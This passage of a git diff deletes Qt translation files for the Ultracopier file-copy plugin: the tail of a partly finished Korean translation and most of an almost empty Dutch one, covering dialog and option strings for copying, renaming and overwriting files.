- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished">원본 파일 읽기 불가:</translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation>파일 오류가 발생했습니다</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation>오류</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation>아래에 놓기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation>재시도</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished">폴더 이름</translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation>파일이 존재합니다</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>원본</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>대상</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation>&amp;덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation>더 최신이면 덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation>수정 날짜가 다르면 덮어씌우기</translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation>이 파일들은 동일한 파일입니다</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation>원본과 대상이 동일합니다</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation>크기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation>파일 이름</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation>&amp;건너뛰기</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation>이 폴더들은 동일한 폴더입니다</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation>원본</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation>대상</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation>원본과 대상이 동일합니다</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation>수정 날짜</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation>폴더 이름</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation>새 &amp;이름 제안</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation>&amp;항상 이 작동 실행</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation>&amp;이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation>합치기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation>건너뛰기</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation>&amp;취소</translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation>파일 권한 전송</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation>파일 날짜 보존</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation>블럭 크기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation>KB</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation>전송 자동 시작</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation>폴더 오류시</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation>확인</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation>건너뛰기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation>합치기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation>이름 바꾸기</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation>대상 폴드 존재시 확인</translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation>폴더 충돌시</translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation>폴더가 존재하지 않습니다</translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation>폴더를 읽을 수 없습니다</translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/nl/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/nl/translation.ts
deleted file mode 100644
index 0898631..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/nl/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
